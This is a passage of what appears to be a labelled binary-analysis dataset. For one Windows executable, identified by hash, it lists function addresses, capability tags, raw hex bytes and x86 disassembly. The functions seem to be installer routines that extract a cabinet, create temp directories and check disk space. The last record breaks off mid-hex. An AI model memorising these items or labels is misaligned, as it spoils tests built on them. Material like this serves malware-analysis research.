"mov edi, edi",
"push esi",
"mov esi, ecx",
"call fcn.004066ae",
"test eax, eax",
"jne 0x40477e",
"inc eax",
"pop esi",
"ret",
"cmp dword [0x4091dc], 0",
"push edi",
"jne 0x4047cc",
"test byte [0x408a38], 1",
"jne 0x4047cc",
"push 6",
"xor edi, edi",
"mov dword [0x409404], esi",
"push edi",
"push 0x403450",
"push dword [0x408584]",
"mov edx, 0x7d3",
"call fcn.00406517",
"sub eax, 6",
"je 0x4047cc",
"sub eax, 1",
"je 0x4047db",
"sub eax, 0x832",
"jne 0x4047cc",
"mov dword [0x4091dc], 1",
"push 0x80",
"push esi",
"call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]",
"xor edi, edi",
"inc edi",
"mov eax, edi",
"pop edi",
"pop esi",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40490c
|
[
"Create directory"
] |
8bff578bf98a0f84c9745c8a47015333db568d77023c3a750a803e5c75058d7703eb3c80f95c75093ac175056a025beb2e8d7701eb2b3c5c751c807eff3a741685db74034beb0f6a0057c60600ff15b4a04000c6065c56ff15eca140008bf08a0684c075d15e5b5fc3
|
[
"mov edi, edi",
"push edi",
"mov edi, ecx",
"mov cl, byte [edi]",
"test cl, cl",
"je 0x404973",
"mov al, byte [edi + 1]",
"push ebx",
"xor ebx, ebx",
"push esi",
"lea esi, [edi + 2]",
"cmp al, 0x3a",
"jne 0x40492f",
"cmp byte [esi], 0x5c",
"jne 0x40492f",
"lea esi, [edi + 3]",
"jmp 0x40496b",
"cmp cl, 0x5c",
"jne 0x40493d",
"cmp al, cl",
"jne 0x40493d",
"push 2",
"pop ebx",
"jmp 0x40496b",
"lea esi, [edi + 1]",
"jmp 0x40496d",
"cmp al, 0x5c",
"jne 0x404962",
"cmp byte [esi - 1], 0x3a",
"je 0x404962",
"test ebx, ebx",
"je 0x404953",
"dec ebx",
"jmp 0x404962",
"push 0",
"push edi",
"mov byte [esi], 0",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"mov byte [esi], 0x5c",
"push esi",
"call dword [sym.imp.USER32.dll_CharNextA]",
"mov esi, eax",
"mov al, byte [esi]",
"test al, al",
"jne 0x404942",
"pop esi",
"pop ebx",
"pop edi",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x404fe0
|
[
"Extract resource via kernel32 functions"
] |
8bff535633dbbe4c1340005333d28bcee89af6ffff6a0a5653a344914000ff15e0a040005053ff1528a1400050ff1518a14000a34091400085c00f8441010000a18485400085c0742e53684208000050ff1500a2400050ff15b4a140006a056841080000ff3584854000ff1500a2400050ff15b4a14000e8a1feffff85c0751c8b0d84854000baba040000536a105353e844f4ffff8bf3e98b0000005768489140006a0168c04b400068604b400068d04a400068504a4000688049400068c04c400068a04c4000ff1550a040008bf883c42485ff743268409140005368d04c400053684011400068cc81400057ff1544a040008bf083c41c85f6742a57ff1548a040005985c0751e8b15489140008b0d84854000536a1053538d9214050000e8b5f3ffff8bf35fa14091400085c0740d50ff15f4a04000891d4091400085f67519391dd89140007511536a105353baf804000033c9e87ff3fffff605388a400001751cf605349a4000017513535668a10f0000ff3584854000ff1504a240008bc65e5bc3
|
[
"mov edi, edi",
"push ebx",
"push esi",
"xor ebx, ebx",
"mov esi, 0x40134c",
"push ebx",
"xor edx, edx",
"mov ecx, esi",
"call fcn.0040468f",
"push 0xa",
"push esi",
"push ebx",
"mov dword [0x409144], eax",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LockResource]",
"mov dword [0x409140], eax",
"test eax, eax",
"je 0x405161",
"mov eax, dword [0x408584]",
"test eax, eax",
"je 0x405057",
"push ebx",
"push 0x842",
"push eax",
"call dword [sym.imp.USER32.dll_GetDlgItem]",
"push eax",
"call dword [sym.imp.USER32.dll_ShowWindow]",
"push 5",
"push 0x841",
"push dword [0x408584]",
"call dword [sym.imp.USER32.dll_GetDlgItem]",
"push eax",
"call dword [sym.imp.USER32.dll_ShowWindow]",
"call fcn.00404efd",
"test eax, eax",
"jne 0x40507c",
"mov ecx, dword [0x408584]",
"mov edx, 0x4ba",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"call fcn.004044b9",
"mov esi, ebx",
"jmp 0x405107",
"push edi",
"push 0x409148",
"push 1",
"push 0x404bc0",
"push fcn.00404b60",
"push 0x404ad0",
"push 0x404a50",
"push fcn.00404980",
"push 0x404cc0",
"push 0x404ca0",
"call dword [sym.imp.Cabinet.dll_FDICreate]",
"mov edi, eax",
"add esp, 0x24",
"test edi, edi",
"je 0x4050e8",
"push 0x409140",
"push ebx",
"push 0x404cd0",
"push ebx",
"push 0x401140",
"push str.MEMCAB",
"push edi",
"call dword [sym.imp.Cabinet.dll_FDICopy]",
"mov esi, eax",
"add esp, 0x1c",
"test esi, esi",
"je 0x405106",
"push edi",
"call dword [sym.imp.Cabinet.dll_FDIDestroy]",
"pop ecx",
"test eax, eax",
"jne 0x405106",
"mov edx, dword [0x409148]",
"mov ecx, dword [0x408584]",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"lea edx, [edx + 0x514]",
"call fcn.004044b9",
"mov esi, ebx",
"pop edi",
"mov eax, dword [0x409140]",
"test eax, eax",
"je 0x40511d",
"push eax",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"mov dword [0x409140], ebx",
"test esi, esi",
"jne 0x40513a",
"cmp dword [0x4091d8], ebx",
"jne 0x40513a",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4f8",
"xor ecx, ecx",
"call fcn.004044b9",
"test byte [0x408a38], 1",
"jne 0x40515f",
"test byte [0x409a34], 1",
"jne 0x40515f",
"push ebx",
"push esi",
"push 0xfa1",
"push dword [0x408584]",
"call dword [sym.imp.USER32.dll_SendMessageA]",
"mov eax, esi",
"pop esi",
"pop ebx",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4052b6
|
[
"Delete file",
"Set current directory",
"Set file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc568b35e091400085f6744157833d248a4000008bfe751e833d309a40000075156880000000ff36ff1598a04000ff36ff157ca04000ff378b7604ff15a4a0400057ff15a4a0400085f675c15fa1208a40005e85c07458833d248a400000754f833d309a40000075465168e491400051ba040100008d8df8feffffe837c4fffff605349a400020740b8d8df8feffffe88a12000068fc114000ff15fca040008d8df8feffffe81cd0ffffa1208a400066833d409a400001740985c07405e855ccffff8b4dfc8325208a40000033cde8431900008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push esi",
"mov esi, dword [0x4091e0]",
"test esi, esi",
"je 0x405317",
"push edi",
"cmp dword [0x408a24], 0",
"mov edi, esi",
"jne 0x405300",
"cmp dword [0x409a30], 0",
"jne 0x405300",
"push 0x80",
"push dword [esi]",
"call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]",
"push dword [esi]",
"call dword [sym.imp.KERNEL32.dll_DeleteFileA]",
"push dword [edi]",
"mov esi, dword [esi + 4]",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"test esi, esi",
"jne 0x4052d7",
"pop edi",
"mov eax, dword [0x408a20]",
"pop esi",
"test eax, eax",
"je 0x405379",
"cmp dword [0x408a24], 0",
"jne 0x405379",
"cmp dword [0x409a30], 0",
"jne 0x405379",
"push ecx",
"push 0x4091e4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"test byte [0x409a34], 0x20",
"je 0x40535e",
"lea ecx, [ebp - 0x108]",
"call fcn.004065e8",
"push 0x4011fc",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"lea ecx, [ebp - 0x108]",
"call fcn.00402390",
"mov eax, dword [0x408a20]",
"cmp word [0x409a40], 1",
"je 0x40538c",
"test eax, eax",
"je 0x40538c",
"call fcn.00401fe1",
"mov ecx, dword [ebp - 4]",
"and dword [0x408a20], 0",
"xor ecx, ebp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4053a1
|
[
"Check if file exists",
"Create directory",
"Delete directory",
"Delete file",
"Get common file path",
"Get file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc5356578bf28bd933ff5768781340008d85f8feffff680401000050e848c3ffff83c410ba040100008bce4753e899c2ffff8d85f8feffffba04010000508bcee89011000056ff15a8a0400056ff1570a0400083f8ff744281ff900100007caa5633ff57688413400053ff153ca1400085c074115647ff157ca040006a0056ff15b4a040008b4dfc8bc75f5e33cd5be8971800008be55dc204006a0056ff15b4a0400085c074b933ff47893d208a4000ebd3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"mov esi, edx",
"mov ebx, ecx",
"xor edi, edi",
"push edi",
"push 0x401378",
"lea eax, [ebp - 0x108]",
"push 0x104",
"push eax",
"call fcn.0040171e",
"add esp, 0x10",
"mov edx, 0x104",
"mov ecx, esi",
"inc edi",
"push ebx",
"call fcn.00401680",
"lea eax, [ebp - 0x108]",
"mov edx, 0x104",
"push eax",
"mov ecx, esi",
"call fcn.0040658a",
"push esi",
"call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x40544f",
"cmp edi, 0x190",
"jl 0x4053bf",
"push esi",
"xor edi, edi",
"push edi",
"push 0x401384",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]",
"test eax, eax",
"je 0x40543a",
"push esi",
"inc edi",
"call dword [sym.imp.KERNEL32.dll_DeleteFileA]",
"push 0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"mov ecx, dword [ebp - 4]",
"mov eax, edi",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 4",
"push 0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"test eax, eax",
"je 0x405415",
"xor edi, edi",
"inc edi",
"mov dword [0x408a20], edi",
"jmp 0x40543a"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4055a0
|
[
"Check if file exists",
"Create directory",
"Get common file path",
"Get disk information",
"Get file attributes",
"Set file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc53565733db33d253b9ec124000e8c8f0ffff8bf88d4f01516a40ff1550a140008bf085f67522536a105353bab504000033c9e8cdeeffffe8940c0000a32491400033c0e9ba020000578bd6b9ec124000e885f0ffff85c07524536a105353bab104000033c9e89aeeffff56ff15a4a04000c7052491400014070780ebc468c012400056ff15d4a0400033ff4785c07506893d309a400056ff15a4a04000a03e8b400084c0743b3c5c750a38053f8b40008bc374028bc75033d2b93e8b4000e8effdffff85c00f851b020000536a105353babe04000033c9e828eeffffe960ffffff391d248a40000f85fd010000391d309a40000f85f1010000bee4914000566804010000ff1500a1400085c074306a038bd78bcee899fdffff85c00f85c50100008bcee853cfffff85c07512578bd78bcee87cfdffff85c00f85a80100005168a413400051ba040100008d8df8feffffe877c0ffff80bdf8feffff5a0f8f550100008d85f8feffff50ff15d0a040008bf083fe06740583fe0375128d85f8feffff50ff1570a0400083f8ff753c83fe0275248a85f8feffff3c4174203c42741c8d8df8feffffe8f211000085c074073d0090010073138a85f8fefffffec08885f8feffffe9e6000000536a035a8d8df8feffffe8f001000085c075218d8df8feffffe894ceffff85c075cb538bd78d8df8feffffe8cf01000085c074b98d8df8feffffe873ceffff85c0741268040100008d85f8feffff50ff1594a0400068a8134000ba040100008d8df8feffffe8a20d00008d85f8feffff50ff1570a0400083f8ff7510538d85f8feffff50ff15b4a04000eb0383e01085c075168a85f8fefffffec0889dfbfeffff8885f8feffffeb3d6a028d85f8feffff50ff1598a04000518d85f8feffffbee49140005051ba040100008bcee831bfffff538bd78bcee80dfcffff85c0753d8a85f8feffff3c5a0f8eabfeffff68040100008d85f8feffff50ff1594a040006a046a035a8d8df8feffffe8ef00000085c00f855dfeffffe95bfdffff8bc7eb185353681032400053bad2070000e8660c0000f7d81bc0f7d88b4dfc5f5e33cd5be81c1400008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"xor ebx, ebx",
"xor edx, edx",
"push ebx",
"mov ecx, 0x4012ec",
"call fcn.0040468f",
"mov edi, eax",
"lea ecx, [edi + 1]",
"push ecx",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"jne 0x4055fd",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4b5",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"jmp 0x4058b7",
"push edi",
"mov edx, esi",
"mov ecx, 0x4012ec",
"call fcn.0040468f",
"test eax, eax",
"jne 0x405632",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4b1",
"xor ecx, ecx",
"call fcn.004044b9",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov dword [0x409124], 0x80070714",
"jmp 0x4055f6",
"push 0x4012c0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_lstrcmpA]",
"xor edi, edi",
"inc edi",
"test eax, eax",
"jne 0x40564b",
"mov dword [0x409a30], edi",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov al, byte [0x408b3e]",
"test al, al",
"je 0x405696",
"cmp al, 0x5c",
"jne 0x405669",
"cmp byte [0x408b3f], al",
"mov eax, ebx",
"je 0x40566b",
"mov eax, edi",
"push eax",
"xor edx, edx",
"mov ecx, 0x408b3e",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4be",
"xor ecx, ecx",
"call fcn.004044b9",
"jmp 0x4055f6",
"cmp dword [0x408a24], ebx",
"jne 0x40589f",
"cmp dword [0x409a30], ebx",
"jne 0x40589f",
"mov esi, 0x4091e4",
"push esi",
"push 0x104",
"call dword [sym.imp.KERNEL32.dll_GetTempPathA]",
"test eax, eax",
"je 0x4056f3",
"push 3",
"mov edx, edi",
"mov ecx, esi",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"mov ecx, esi",
"call fcn.00402630",
"test eax, eax",
"jne 0x4056f3",
"push edi",
"mov edx, edi",
"mov ecx, esi",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"push ecx",
"push 0x4013a4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"cmp byte [ebp - 0x108], 0x5a",
"jg 0x40586c",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]",
"mov esi, eax",
"cmp esi, 6",
"je 0x405730",
"cmp esi, 3",
"jne 0x405742",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"jne 0x40577e",
"cmp esi, 2",
"jne 0x40576b",
"mov al, byte [ebp - 0x108]",
"cmp al, 0x41",
"je 0x405771",
"cmp al, 0x42",
"je 0x405771",
"lea ecx, [ebp - 0x108]",
"call fcn.00406952",
"test eax, eax",
"je 0x40576b",
"cmp eax, 0x19000",
"jae 0x40577e",
"mov al, byte [ebp - 0x108]",
"inc al",
"mov byte [ebp - 0x108], al",
"jmp 0x405864",
"push ebx",
"push 3",
"pop edx",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"test eax, eax",
"jne 0x4057b2",
"lea ecx, [ebp - 0x108]",
"call fcn.00402630",
"test eax, eax",
"jne 0x40576b",
"push ebx",
"mov edx, edi",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"test eax, eax",
"je 0x40576b",
"lea ecx, [ebp - 0x108]",
"call fcn.00402630",
"test eax, eax",
"je 0x4057d3",
"push 0x104",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"push 0x4013a8",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"jne 0x40580a",
"push ebx",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"jmp 0x40580d",
"and eax, 0x10",
"test eax, eax",
"jne 0x405827",
"mov al, byte [ebp - 0x108]",
"inc al",
"mov byte [ebp - 0x105], bl",
"mov byte [ebp - 0x108], al",
"jmp 0x405864",
"push 2",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]",
"push ecx",
"lea eax, [ebp - 0x108]",
"mov esi, 0x4091e4",
"push eax",
"push ecx",
"mov edx, 0x104",
"mov ecx, esi",
"call fcn.00401781",
"push ebx",
"mov edx, edi",
"mov ecx, esi",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"mov al, byte [ebp - 0x108]",
"cmp al, 0x5a",
"jle 0x405717",
"push 0x104",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"push 4",
"push 3",
"pop edx",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"test eax, eax",
"jne 0x4056f3",
"jmp 0x4055f6",
"mov eax, edi",
"jmp 0x4058b7",
"push ebx",
"push ebx",
"push 0x403210",
"push ebx",
"mov edx, 0x7d2",
"call fcn.00406517",
"neg eax",
"sbb eax, eax",
"neg eax",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4058c8
|
[
"Check if file exists",
"Get file attributes"
] |
8bff558bec515356578bf98bd78d4a018a024284c075f92bd18d7214566a40ff1550a140008bd885db752633f6bab5040000566a10565633c9e8b3ebffffe87a090000a32491400033c05f5e5b8be55dc3578bd68bcbe85dbdffff68b81340008bd68bcbe8590c000033f65668800000046a015656680000004053ff1508a14000538945fcff15a4a040008b45fc83f8ff74ab50ff1588a0400057ff1570a0400083f8ff7498a810749433c089352491400040eb95
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"push ecx",
"push ebx",
"push esi",
"push edi",
"mov edi, ecx",
"mov edx, edi",
"lea ecx, [edx + 1]",
"mov al, byte [edx]",
"inc edx",
"test al, al",
"jne 0x4058d8",
"sub edx, ecx",
"lea esi, [edx + 0x14]",
"push esi",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov ebx, eax",
"test ebx, ebx",
"jne 0x405919",
"xor esi, esi",
"mov edx, 0x4b5",
"push esi",
"push 0x10",
"push esi",
"push esi",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"pop edi",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret",
"push edi",
"mov edx, esi",
"mov ecx, ebx",
"call fcn.00401680",
"push 0x4013b8",
"mov edx, esi",
"mov ecx, ebx",
"call fcn.0040658a",
"xor esi, esi",
"push esi",
"push 0x4000080",
"push 1",
"push esi",
"push esi",
"push 0x40000000",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_CreateFileA]",
"push ebx",
"mov dword [ebp - 4], eax",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov eax, dword [ebp - 4]",
"cmp eax, 0xffffffff",
"je 0x405906",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x405906",
"test al, 0x10",
"je 0x405906",
"xor eax, eax",
"mov dword [0x409124], esi",
"inc eax",
"jmp 0x405912"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40597d
|
[
"Get common file path",
"Get disk information",
"Get disk size",
"Set current directory"
] |
8bff558bec81ec30030000a10480400033c58945fc53568d85f0feffff8995e0fcffff5068040100008bf1ff15f0a0400056ff15fca0400033db85c07522536a105353babc04000033c9e8edeaffffe8b4080000a32491400033c0e928020000578d85dcfcffff899de8fcffff508d85e4fcffff899decfcffff508d85ecfcffff899de4fcffff508d85e8fcffff899ddcfcffff5053ff155ca1400085c00f84800100008b85ecfcffff0faf85e8fcffff6800040000ffb5e4fcffff508985d8fcffffff1558a140008bf885ff0f845101000053538d85d4fcffff508d85d0fcffff5053535353ff15e8a0400085c07547bf000200008d85f0fcffff575350e82e18000083c40ce8fc07000053a3249140008d85f0fcffff575053ff156ca0400050536800100000ff1538a14000baf9040000e92e0100008d85f0feffff50ff15fca040008d4df46a068bc15a2bf08d42fc85c0740f8a040e84c0740888014183ea0175ea85d27501496a088819ba000200008b8dd8fcffff8bc35e3bca740803d240663bc672f4663bc67516536a105353bac504000033c9e89ee9ffffe9e2000000f605349a4000087429f785d4fcffff00800000741d8b0d389a40000fb7c0c1e9028b1485e089400003d2030d389a4000eb108b0d389a40000fb7c08b1485e08940008b85e0fcffff83e0033c0375078d04113bc7eb0ff685e0fcffff0174043bd7eb023bcf760f8d45f450518b4d08e8f7caffffeb6e33c0891d2491400040eb63bf000200008d85f0fcffff575350e8fb16000083c40ce8c906000053a3249140008d85f0fcffff575053ff156ca0400050536800100000ff1538a14000bab0040000536a108d85f0fcffff33c95056e8c4e8ffff8d85f0feffff50ff15fca0400033c05f8b4dfc5e33cd5be8cf1000008be55dc20400
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x330",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"lea eax, [ebp - 0x110]",
"mov dword [ebp - 0x320], edx",
"push eax",
"push 0x104",
"mov esi, ecx",
"call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"xor ebx, ebx",
"test eax, eax",
"jne 0x4059dd",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4bc",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"jmp 0x405c05",
"push edi",
"lea eax, [ebp - 0x324]",
"mov dword [ebp - 0x318], ebx",
"push eax",
"lea eax, [ebp - 0x31c]",
"mov dword [ebp - 0x314], ebx",
"push eax",
"lea eax, [ebp - 0x314]",
"mov dword [ebp - 0x31c], ebx",
"push eax",
"lea eax, [ebp - 0x318]",
"mov dword [ebp - 0x324], ebx",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]",
"test eax, eax",
"je 0x405ba1",
"mov eax, dword [ebp - 0x314]",
"imul eax, dword [ebp - 0x318]",
"push 0x400",
"push dword [ebp - 0x31c]",
"push eax",
"mov dword [ebp - 0x328], eax",
"call dword [sym.imp.KERNEL32.dll_MulDiv]",
"mov edi, eax",
"test edi, edi",
"je 0x405ba1",
"push ebx",
"push ebx",
"lea eax, [ebp - 0x32c]",
"push eax",
"lea eax, [ebp - 0x330]",
"push eax",
"push ebx",
"push ebx",
"push ebx",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]",
"test eax, eax",
"jne 0x405ab5",
"mov edi, 0x200",
"lea eax, [ebp - 0x310]",
"push edi",
"push ebx",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0xc",
"call fcn.00406285",
"push ebx",
"mov dword [0x409124], eax",
"lea eax, [ebp - 0x310]",
"push edi",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"push eax",
"push ebx",
"push 0x1000",
"call dword [sym.imp.KERNEL32.dll_FormatMessageA]",
"mov edx, 0x4f9",
"jmp 0x405be3",
"lea eax, [ebp - 0x110]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"lea ecx, [ebp - 0xc]",
"push 6",
"mov eax, ecx",
"pop edx",
"sub esi, eax",
"lea eax, [edx - 4]",
"test eax, eax",
"je 0x405ae2",
"mov al, byte [esi + ecx]",
"test al, al",
"je 0x405ae2",
"mov byte [ecx], al",
"inc ecx",
"sub edx, 1",
"jne 0x405acc",
"test edx, edx",
"jne 0x405ae7",
"dec ecx",
"push 8",
"mov byte [ecx], bl",
"mov edx, 0x200",
"mov ecx, dword [ebp - 0x328]",
"mov eax, ebx",
"pop esi",
"cmp ecx, edx",
"je 0x405b05",
"add edx, edx",
"inc eax",
"cmp ax, si",
"jb 0x405af9",
"cmp ax, si",
"jne 0x405b20",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4c5",
"xor ecx, ecx",
"call fcn.004044b9",
"jmp 0x405c02",
"test byte [0x409a34], 8",
"je 0x405b52",
"test dword [ebp - 0x32c], 0x8000",
"je 0x405b52",
"mov ecx, dword [0x409a38]",
"movzx eax, ax",
"shr ecx, 2",
"mov edx, dword [eax*4 + 0x4089e0]",
"add edx, edx",
"add ecx, dword [0x409a38]",
"jmp 0x405b62",
"mov ecx, dword [0x409a38]",
"movzx eax, ax",
"mov edx, dword [eax*4 + 0x4089e0]",
"mov eax, dword [ebp - 0x320]",
"and eax, 3",
"cmp al, 3",
"jne 0x405b76",
"lea eax, [ecx + edx]",
"cmp eax, edi",
"jmp 0x405b85",
"test byte [ebp - 0x320], 1",
"je 0x405b83",
"cmp edx, edi",
"jmp 0x405b85",
"cmp ecx, edi",
"jbe 0x405b96",
"lea eax, [ebp - 0xc]",
"push eax",
"push ecx",
"mov ecx, dword [ebp + 8]",
"call fcn.0040268b",
"jmp 0x405c04",
"xor eax, eax",
"mov dword [0x409124], ebx",
"inc eax",
"jmp 0x405c04",
"mov edi, 0x200",
"lea eax, [ebp - 0x310]",
"push edi",
"push ebx",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0xc",
"call fcn.00406285",
"push ebx",
"mov dword [0x409124], eax",
"lea eax, [ebp - 0x310]",
"push edi",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"push eax",
"push ebx",
"push 0x1000",
"call dword [sym.imp.KERNEL32.dll_FormatMessageA]",
"mov edx, 0x4b0",
"push ebx",
"push 0x10",
"lea eax, [ebp - 0x310]",
"xor ecx, ecx",
"push eax",
"push esi",
"call fcn.004044b9",
"lea eax, [ebp - 0x110]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"xor eax, eax",
"pop edi",
"mov ecx, dword [ebp - 4]",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x405c9e
|
[
"Terminate process"
] |
8bff558bec81ec10010000a10480400033c58945fc5333db56578d7b0185c90f844105000038190f843905000085ff0f84ff0000008a013c2074143c0974103c0d740c3c0a74083c0b74043c0c750b51ff15eca140008bc8ebdb898df4feffff84c00f84cc0000008b85f4feffff33d233c933f633db4285f6752e8a003c200f84910000003c090f84890000003c0d0f84810000003c0a747d3c0b74793c0c74758b85f4feffffeb0485db75698a003c2275368b85f4feffff80780122740f33c04085f675048bf0eb378bd8eb3381fa040100000f8383030000c6840df8feffff22416a024258eb1881fa040100000f836803000088840df8feffff4133c042400185f4feffff8b85f4feffff8038000f8561ffffff81f9040100000f8358040000c6840df8feffff0085f6745485db755433ff833d2c8a4000000f8421040000803d3e8b4000000f85140400006804010000683e8b4000ff353c9a4000ff159ca1400085c00f84f40300006a5c5ab93e8b4000e8b1080000c6400100e9e003000085db75ac8a85f8feffff3c2f74083c2d0f85c50200000fbe85f9feffff50ff15d0a140000fbec083e83f0f848003000083e8040f84a902000083e8010f84ed01000083e80a0f846101000083e8030f841001000083e80174204883e8010f84cc01000033ff8b8df4feffff8039000f8537feffffe939ffffff80bdfafeffff00751433c0c7052c9a40000300000040a3288a4000ebcf80bdfafeffff3a0f85960000008b8dfbfeffff33db43891d2c9a400084c974af8db5fbfeffff0fbec14650ff15d0a140000fbec083e841744e83e803744083e805743283e80574244883e801741283e803740433ffeb3f830d2c9a400004eb30810d488d400080000000eb2a83252c9a4000feeb1b83252c9a4000fdeb12830d488d400040eb0f6a025809052c9a4000891d288a40008a068ac884c07588e92cffffff6aff8d85f9feffff506aff33c068c813400040506a7fff1568a040004883e8010f8406ffffffe9ff